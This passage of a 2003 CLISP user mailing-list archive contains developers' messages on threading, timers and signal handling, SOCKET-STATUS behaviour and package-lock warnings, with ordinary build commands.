? Why is that not waiting for input? Also, I'm afraid man select didn't tell me much about :error. It looks to me like input, output, exception are all independent. So there should be 3 separate dimensions. What exactly are exceptions? Do they all generate lisp errors? Is select really consistent accross OS's ? From pascal@thalassa.informatimago.com Wed Jan 29 20:59:40 2003 Received: from thalassa.informatimago.com ([212.87.205.57]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18e6mX-0003Lo-00 for ; Wed, 29 Jan 2003 20:58:37 -0800 Received: by thalassa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 1000) id 3843023D13; Thu, 30 Jan 2003 05:57:26 +0100 (CET) From: Pascal Bourguignon Message-ID: <15928.45238.175113.792061@thalassa.informatimago.com> To: clisp-list@lists.sourceforge.net Cc: sds@gnu.org Subject: Re: [clisp-list] bound symbols at compile-time? In-Reply-To: References: <20030130002614.6700A23D13@thalassa.informatimago.com> X-Mailer: VM 7.07 under Emacs 21.2.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 29 21:00:02 2003 X-Original-Date: Thu, 30 Jan 2003 05:57:26 +0100 Sam Steingold writes: > > I've tried to insert some (eval-when (compile load eval) ...) at > > various places, or even to use [the undocumented! even in the > > implementation notes] (ext:without-package-lock '("COMMON-LISP")...). > > Thanks. I looked to an old version :-( > > So please, how can one compile a source avoiding to redefine functions > > or macro already defined in COMMON-LISP under CLISP? > > (eval-when (compile load eval) > (unless (defined-p 'FOO) > (push :need-own-foo *features*))) > > #+:need-own-foo > (defmacro foo ...) > > or just use #+ansi-cl :-) You're right. I just avoided loading that file with a #-CLISP and all is fine now. -- __Pascal_Bourguignon__ http://www.informatimago.com/ ---------------------------------------------------------------------- There is a fault in reality. Do not adjust your minds. -- Salman Rushdie From pascal@thalassa.informatimago.com Wed Jan 29 22:47:29 2003 Received: from thalassa.informatimago.com ([212.87.205.57] ident=postfix) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18e8Tm-0001yn-00 for ; Wed, 29 Jan 2003 22:47:18 -0800 Received: by thalassa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 1000) id 6A72023D13; Thu, 30 Jan 2003 07:47:06 +0100 (CET) From: Pascal Bourguignon To: clisp-list@lists.sourceforge.net Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en Reply-To: Message-Id: <20030130064706.6A72023D13@thalassa.informatimago.com> Subject: [clisp-list] Threads? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 29 22:48:03 2003 X-Original-Date: Thu, 30 Jan 2003 07:47:06 +0100 (CET) What would be the difficulty to have threads in CLISP? I guess that the garbage collector would have to block the threads while doing its work, but is there any other difficulties that would occur with threads? What if we use them thru FFIs in LINUX package? Also, with respect to fork, since there may be finalization routines attached to collectable objects, it would be nice if it was possible to provoke a garbage collection before a LINUX:fork or LINUX:vfork call. (Flushing output could be done with FINALIZE-OUTPUT even if recensing all the open streams may be hard). Is it possible to initiate a garbage collection at will? -- __Pascal_Bourguignon__ http://www.informatimago.com/ ---------------------------------------------------------------------- There is a fault in reality. Do not adjust your minds. -- Salman Rushdie From pascal@thalassa.informatimago.com Wed Jan 29 23:08:20 2003 Received: from thalassa.informatimago.com ([212.87.205.57] ident=postfix) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18e8np-0004Jc-00 for ; Wed, 29 Jan 2003 23:08:02 -0800 Received: by thalassa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 1000) id 856DD2588C; Thu, 30 Jan 2003 08:07:31 +0100 (CET) From: Pascal Bourguignon To: clisp-list@lists.sourceforge.net Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en Reply-To: Message-Id: <20030130070731.856DD2588C@thalassa.informatimago.com> Subject: [clisp-list] Timer or alarm? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 29 23:09:01 2003 X-Original-Date: Thu, 30 Jan 2003 08:07:31 +0100 (CET) I've not found anything in CLHS or in CLISP to set a timer and get a signal on time-out. How to implement a: (with-time-out (60 second) (do-something-may-be-too-complicated)) ? Am I right to think that it should be implemented in C? Even if we don't ask to be able to run arbitrary LISP code in the signal handler, at least two things would be useful to be able to be do upon receiving a signal: - setting a variable, and/or - throwing a given tag. The trowing could of course occur after the signal handler exists, when the interpreter find it convenient to execute it (when current instruction or garbage collecting is done). (Perhaps support for signals is linked to support of threads...) -- __Pascal_Bourguignon__ http://www.informatimago.com/ ---------------------------------------------------------------------- There is a fault in reality. Do not adjust your minds. -- Salman Rushdie From Joerg-Cyril.Hoehle@t-systems.com Thu Jan 30 02:37:33 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18eC4Z-0001Kv-00 for ; Thu, 30 Jan 2003 02:37:31 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Thu, 30 Jan 2003 11:37:05 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Thu, 30 Jan 2003 11:36:55 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE0186A4DE@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Subject: [clisp-list] Timer or alarm? - must not use signal handlers written in Lisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jan 30 02:38:07 2003 X-Original-Date: Thu, 30 Jan 2003 11:36:43 +0100 Pascal Bourguignon >I've not found anything in CLHS or in CLISP to set a timer and get a >signal on time-out. Indeed, there's nothing like this there. >How to implement a: (with-time-out (60 second)=20 > (do-something-may-be-too-complicated)) >Even if we don't ask to be able to run arbitrary LISP code in the >signal handler, at least two things would be useful to be able to be >do upon receiving a signal: > - setting a variable, and/or > - throwing a given tag. Throwing makes assumptions which may not necessarily hold. Remember my = e-mail from 21.1.2003 on "must not use signal handlers written in = Lisp". Implementation path A for signal handlers in Lisp (using separate = threads) renders THROW unusable. With implementation path B (synchronous invocation from bytecode = interpreter), there's still the issue the day threads would come into = play: to which thread was this signal supposedly delivered to? Furthermore, the day there would be some API for signal handlers, CLISP = must lay open (document) its use of signals. I mentioned that I believe = SIGPIPE(?), SIGSEGV, SIGINT, SIGALRM, SIGWINCH are all used at some = time in CLISP. Which specifically means that your WITH-TIMEOUT would be problematic if = based on SIGALRM, since CLISP uses it internally... One would probably need another timer interface, able to deliver as = many signals (or events) or invoke as many callbacks as requested. Such = timer/event interfaces are available on AmigaOS (and probably also in = the JVM and more). With such an interface, there would be no contention = with the single SIGALRM signal and handler. Here's a proposal: (AFTER timeout function) After time elapses, function is invoked. One would probably have to distinguish relative intervals from absolute = time, or lay that on the programmer and just use the same input as = SLEEP. One may not rely on the order in which such functions are invoked (esp. = when mixing absolute and relative times). Possibly the implementation = could guarantee order for the same kind of time interval. If the absolute time has already passed, or timeout is 0, the function = is immediately invoked. How this is internally achieved is completely OS-dependent. The Lisp = view on it would be portable across all of CLISP, though. AmigaOS would use timer.device, MS-Windows would use xyz, UNIX wold = probably multiplex something on top of SIGALRM (and CLISP would have to = map its own use of SIGALRM into this framework. You can submit a RFE (request for enhancement) to sourceforge :-) Should threads come, one would hope for this callback to be invoked in = the thread that invoked AFTER, but that need not be guaranteed (to be = analyzed). What if the thread dies before that time? I believe the BeOS = (=3D many threads) philosophy would, quite on the contrary, create a = separate thread for each such request and invoke it therein. >(Perhaps support for signals is linked to support of threads...) Somewhat, indeed. Apart from that, I understand that people wish for being able to THROW = on a SIGPIPE, SIGHUP or SIGUSR1, since that's how CGI applications are = typically notified that they could abort computing a request because = the user's browser is not waiting for results anymore. I have no proposal upon how to do this, except in the synchronous case = without threads. This then also raises the topic, recently discussed in comp.lang.lisp, = of IRON-CLAD-UNWIND-PROTECT. I *believe* CLISP currently may loose = arbitrary ressources when being interrupted between execution of any = two bytecodes (as when ^C is hit). The same would apply to signals = handlers. Regards, J=F6rg H=F6hle. BTW Pascal, on logical-pathnames, I think you should investigate names = with a colon like foo:bar;zot instead of /x/y/z... From don-sourceforge@isis.cs3-inc.com Thu Jan 30 08:13:16 2003 Received: from isis.cs3-inc.com ([207.224.119.73]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18eHJU-0007so-00 for ; Thu, 30 Jan 2003 08:13:16 -0800 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id h0UGAts32680; Thu, 30 Jan 2003 08:10:55 -0800 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforge using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforge@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15929.20111.88393.10180@isis.cs3-inc.com> To: Pascal Bourguignon To: clisp-list@lists.sourceforge.net In-Reply-To: References: X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid Subject: [clisp-list] Threads? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jan 30 08:14:03 2003 X-Original-Date: Thu, 30 Jan 2003 08:10:55 -0800 > What would be the difficulty to have threads in CLISP? I refer you to the extensive discussion of this topic in the list archive. Summary: It's much worse than you imagine. In addition to the low level problems that you mention, many pieces of code assume they are running alone and would have to be modified to do locking. My guess is that, in addition to a large amount of work on the part of some very knowledgeable developers (who are in short supply), users of multiple threads would suffer a prolonged period of instability during which bugs were found and fixed. And these bugs are particularly difficult to reproduce. > I guess that the garbage collector would have to block the threads > while doing its work, but is there any other difficulties that would > occur with threads? Clearly some locking is needed. There are gc algorithms in which gc runs as "just another thread" without blocking any others (other than locking particular objects while it's using them). > What if we use them thru FFIs in LINUX package? There's no problem using threads in foreign calls as long as they don't affect the lisp thread. From sds@gnu.org Thu Jan 30 08:20:30 2003 Received: from pop016pub.verizon.net ([206.46.170.173] helo=pop016.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18eHQU-0000qO-00 for ; Thu, 30 Jan 2003 08:20:30 -0800 Received: from loiso.podval.org ([151.203.48.207]) by pop016.verizon.net (InterMail vM.5.01.05.20 201-253-122-126-120-20021101) with ESMTP id <20030130162023.LVBF20431.pop016.verizon.net@loiso.podval.org>; Thu, 30 Jan 2003 10:20:23 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h0UGMZSM006098; Thu, 30 Jan 2003 11:22:35 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h0UGMYh1006094; Thu, 30 Jan 2003 11:22:34 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Yuri Kostylev Cc: Subject: Re: [clisp-list] sigsegv? References: <200301301229.QAA03992@yk.udmts.elektra.ru> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200301301229.QAA03992@yk.udmts.elektra.ru> Message-ID: Lines: 45 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at pop016.verizon.net from [151.203.48.207] at Thu, 30 Jan 2003 10:20:23 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jan 30 08:21:03 2003 X-Original-Date: 30 Jan 2003 11:22:34 -0500 > * In message <200301301229.QAA03992@yk.udmts.elektra.ru> > * On the subject of "Re: [clisp-list] sigsegv?" > * Sent on Thu, 30 Jan 2003 16:29:34 +0400 (SAMT) > * Honorable Yuri Kostylev writes: > > I downloaded sources an all is was perfectly builta > > But... what does it mean: > > WARNING: > DEFUN/DEFMACRO(LAMBDA): # is locked > Ignore the lock and proceed > WARNING: > DEFUN/DEFMACRO(FUNCALL): # is locked > Ignore the lock and proceed this is fine during "make check" (which is done implicitly during "./configure --build") > *** - this is a start of an error message 1. what is your language setup? (LANG=? &c) $ clisp -x '*current-language*' 2. can CLISP display your characters on your terminal? $ clisp -x '(error)' 3. try "clisp -L english". > .. here my system loaded awfully run under gdb and try C-c. Please do not try to move the clisp-related discussion of general interest into the personal e-mail. Please see for details. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux If you want it done right, you have to do it yourself From sds@gnu.org Thu Jan 30 08:34:07 2003 Received: from pop017pub.verizon.net ([206.46.170.210] helo=pop017.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18eHdf-0003p7-00 for ; Thu, 30 Jan 2003 08:34:07 -0800 Received: from loiso.podval.org ([151.203.48.207]) by pop017.verizon.net (InterMail vM.5.01.05.09 201-253-122-126-109-20020611) with ESMTP id <20030130163357.MLII10203.pop017.verizon.net@loiso.podval.org>; Thu, 30 Jan 2003 10:33:57 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h0UGa9SM006127; Thu, 30 Jan 2003 11:36:09 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h0UGa91v006123; Thu, 30 Jan 2003 11:36:09 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: don-sourceforge@isis.cs3-inc.com (Don Cohen) Cc: clisp-list@lists.sourceforge.net References: <15928.40941.801354.633909@isis.cs3-inc.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <15928.40941.801354.633909@isis.cs3-inc.com> Message-ID: Lines: 111 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at pop017.verizon.net from [151.203.48.207] at Thu, 30 Jan 2003 10:33:57 -0600 Subject: [clisp-list] Re: proposed modifications to SOCKET-STATUS Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jan 30 08:35:02 2003 X-Original-Date: 30 Jan 2003 11:36:09 -0500 > * In message <15928.40941.801354.633909@isis.cs3-inc.com> > * On the subject of "Re: proposed modifications to SOCKET-STATUS" > * Sent on Wed, 29 Jan 2003 19:45:49 -0800 > * Honorable don-sourceforge@isis.cs3-inc.com (Don Cohen) writes: > > > please read > > > > (SOCKET:SOCKET-STREAM . direction) > Return the status in the specified direction > Just to be sure, this means if direction is :input then the > value is one of nil, :input, :eof ? > [All these questions should be explicit in doc.] > Any direction other than :input or :output is an error? > It would also be reasonable to make :io legal. what is not clear here? Additionally, for a SOCKET:SOCKET-STREAM, we define "status" in the given direction (one of :INPUT, :OUTPUT, and :IO) to be :INPUT status: NIL reading will block :INPUT some input is available :EOF the stream has reached its end :OUTPUT status: NIL writing will block :OUTPUT output to the stream will not block Table 30-8. :IO status input status output status NIL :INPUT :EOF NIL NIL :INPUT :EOF :OUTPUT :OUTPUT :IO :APPEND > If you want to avoid CONSing up a fresh list, you can make the > elements of socket-stream-or-list to be > (socket-stream direction . x) or (socket-stream) or > You really have to change (socket-stream) to (socket-stream . x) > since after the first call that's what it'll be. I cannot: if the status happens to be :input, then the next call will check the status only in the input direction. > At least for x in the set of results (not (cons direction x)), > And similarly for socket-server below. > > (socket-server). Then SOCKET:SOCKET-STATUS > will destructively modify its argument and replace x or NIL with > the status and return the modified list. > > It's also an error to supply a list where some elements are of that > form and others are not? no - but the only way to avoid consing is to have all elements in the specified form. > The second value returned is the number of objects with non-NIL > status, i.e., "actionable" objects. > This is for both cases of lists (mapcar and destructive) ? of course - why would you think otherwise?! > I'd still like to know what the timeout is all about. it's about waiting for input to arrive or output to be cleared or connection to come our way. > If status starts out as :output then if I wait it might change to :io? if the status now is :OUTPUT, you will not wait. to wait for input you need to do (SOCK :INPUT). > Why is that not waiting for input? huh? > Also, I'm afraid man select didn't tell me much about :error. It > looks to me like input, output, exception are all independent. So > there should be 3 separate dimensions. exception obviously overrides all the others: if there is an exception, then no i/o is possible. > What exactly are exceptions? Do they all generate lisp errors? > Is select really consistent accross OS's ? I know just as much as you do. I have never seen SOCKET-STATUS return :ERROR why don't you play with SOCKET-STATUS a little bit and see whether it does what you expect? In particular, if you think that the doc says FOO, please try FOO with SOCKET-STATUS and see if that is the case. If it is NOT, please read the doc again. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux I'd give my right arm to be ambidextrous. From sds@gnu.org Thu Jan 30 08:48:48 2003 Received: from out005pub.verizon.net ([206.46.170.143] helo=out005.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18eHrr-0006Mb-00 for ; Thu, 30 Jan 2003 08:48:47 -0800 Received: from loiso.podval.org ([151.203.48.207]) by out005.verizon.net (InterMail vM.5.01.05.20 201-253-122-126-120-20021101) with ESMTP id <20030130164841.QMBK16306.out005.verizon.net@loiso.podval.org>; Thu, 30 Jan 2003 10:48:41 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h0UGorSM006160; Thu, 30 Jan 2003 11:50:53 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h0UGofbo006156; Thu, 30 Jan 2003 11:50:41 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: don-sourceforge@isis.cs3-inc.com (Don Cohen) Cc: Pascal Bourguignon , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Threads? References: <15929.20111.88393.10180@isis.cs3-inc.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <15929.20111.88393.10180@isis.cs3-inc.com> Message-ID: Lines: 36 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out005.verizon.net from [151.203.48.207] at Thu, 30 Jan 2003 10:48:40 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jan 30 08:49:05 2003 X-Original-Date: 30 Jan 2003 11:50:41 -0500 > * In message <15929.20111.88393.10180@isis.cs3-inc.com> > * On the subject of "[clisp-list] Threads?" > * Sent on Thu, 30 Jan 2003 08:10:55 -0800 > * Honorable don-sourceforge@isis.cs3-inc.com (Don Cohen) writes: > > It's much worse than you imagine. In addition to the low level > problems that you mention, many pieces of code assume they are running > alone and would have to be modified to do locking. My guess is that, > in addition to a large amount of work on the part of some very I think the amount of work is not that bad. we do need a knowledgeable developer, but most of the design is already done. > knowledgeable developers (who are in short supply), users of multiple > threads would suffer a prolonged period of instability during which > bugs were found and fixed. And these bugs are particularly difficult > to reproduce. the user will have to ensure that his objects are not modified by different threads at the same time. CLISP will not do that for you. > > I guess that the garbage collector would have to block the threads > > while doing its work, but is there any other difficulties that would > > occur with threads? > > Clearly some locking is needed. There are gc algorithms in which gc > runs as "just another thread" without blocking any others (other than > locking particular objects while it's using them). they make heap access "interesting"... -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux To a Lisp hacker, XML is S-expressions with extra cruft. From don-sourceforge@isis.cs3-inc.com Thu Jan 30 09:41:01 2003 Received: from isis.cs3-inc.com ([207.224.119.73]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18eIgP-0006vm-00 for ; Thu, 30 Jan 2003 09:41:01 -0800 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id h0UHciJ01192; Thu, 30 Jan 2003 09:38:44 -0800 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforge using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforge@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15929.25380.503228.789126@isis.cs3-inc.com> To: sds@gnu.org Cc: clisp-list@lists.sourceforge.net In-Reply-To: References: <15928.40941.801354.633909@isis.cs3-inc.com> X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid Subject: [clisp-list] Re: proposed modifications to SOCKET-STATUS Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jan 30 09:42:09 2003 X-Original-Date: Thu, 30 Jan 2003 09:38:44 -0800 [Oops, you're right that some of my questions were answered in doc. I hate to get such questions too, so sincerely apologize and will try harder not to let it happen again.] > > If you want to avoid CONSing up a fresh list, you can make the > > elements of socket-stream-or-list to be > > (socket-stream direction . x) or (socket-stream) or > > You really have to change (socket-stream) to (socket-stream . x) > > since after the first call that's what it'll be. > > I cannot: if the status happens to be :input, then the next call will > check the status only in the input direction. I think (hope) we're complaining about the same thing here. I think you should be able to do: (setf arg (list (list stream))) (socket-status arg) and if arg is now (( . :output)) you should be able to again do (socket-status arg) with the possibility of ending up with arg being (( . :io)) That is, the list element ( . nil) is interpreted as ( . x) where x is to be replaced, and in fact, so is ( . :input) or any other ( . x) where x is one of the possible outputs. The fact that we have to distinguish here the case of x being :output vs (:output) is why I suggested that this case be eliminated and replaced by ( <:input/:output/:io> . x) > > It's also an error to supply a list where some elements are of that > > form and others are not? > > no - but the only way to avoid consing is to have all elements in the > specified form. So if one has that form and another doesn't then no smashing is done and you get mapcar behavior? Or you smash the ones with the right format and still return a new list? I think it would be more useful to generate an error in the mixed case. Otherwise people who generate mixed cases accidentally are going to be very confused. > > The second value returned is the number of objects with non-NIL > > status, i.e., "actionable" objects. > > This is for both cases of lists (mapcar and destructive) ? > > of course - why would you think otherwise?! Even if I did think it was obvious, obvious doesn't always imply correct. I take it the first value in the smashing case is the input list? (That's a little more obvious, but still worth saying.) > > I'd still like to know what the timeout is all about. > it's about waiting for input to arrive or output to be cleared or > connection to come our way. > > > If status starts out as :output then if I wait it might change to :io? > > if the status now is :OUTPUT, you will not wait. > to wait for input you need to do (SOCK :INPUT). > > > Why is that not waiting for input? > > huh? This is what I don't understand: Note that this function never waits for input or output to arrive, only for information on input or output presence This seems to indicate that there's some information about whether input or output is NOW possible that is not available yet and we could get it if we wait. I think you're saying that it DOES wait for input to arrive if none is available and you ask whether input is possible with a non-zero timeout. Perhaps it should be something like: The only case where this function waits at all is when the answer for every stream/direction argument would be nil. (Is that true? Or does it wait if ANY answer would be nil?) > I know just as much as you do. (a sad state of affairs!) > I have never seen SOCKET-STATUS return :ERROR That's at least somewhat encouraging. Neither have I. > why don't you play with SOCKET-STATUS a little bit and see whether it > does what you expect? You suggest blind search, and that only to see what one particular implementation does, whereas I really want a spec. From lisp-clisp-list@m.gmane.org Thu Jan 30 09:53:30 2003 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18eIsS-0001H4-00 for ; Thu, 30 Jan 2003 09:53:28 -0800 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18eIqe-00066f-00 for ; Thu, 30 Jan 2003 18:51:36 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18eIqa-00066R-00 for ; Thu, 30 Jan 2003 18:51:32 +0100 From: Sam Steingold Organization: disorganization Lines: 25 Message-ID: References: <20030130070731.856DD2588C@thalassa.informatimago.com> Reply-To: sds@gnu.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@main.gmane.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Subject: [clisp-list] Re: Timer or alarm? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jan 30 09:54:05 2003 X-Original-Date: 30 Jan 2003 12:55:34 -0500 > * In message <20030130070731.856DD2588C@thalassa.informatimago.com> > * On the subject of "Timer or alarm?" > * Sent on Thu, 30 Jan 2003 08:07:31 +0100 (CET) > * Honorable Pascal Bourguignon writes: > > How to implement a: (with-time-out (60 second) > (do-something-may-be-too-complicated)) > ? $ ./configure --with-threads=POSIX_THREADS --build build-mt $ cd build-mt $ ./clisp > (with-timeout (3 (format t "timed out!~%")) (sleep 10)) timed out > 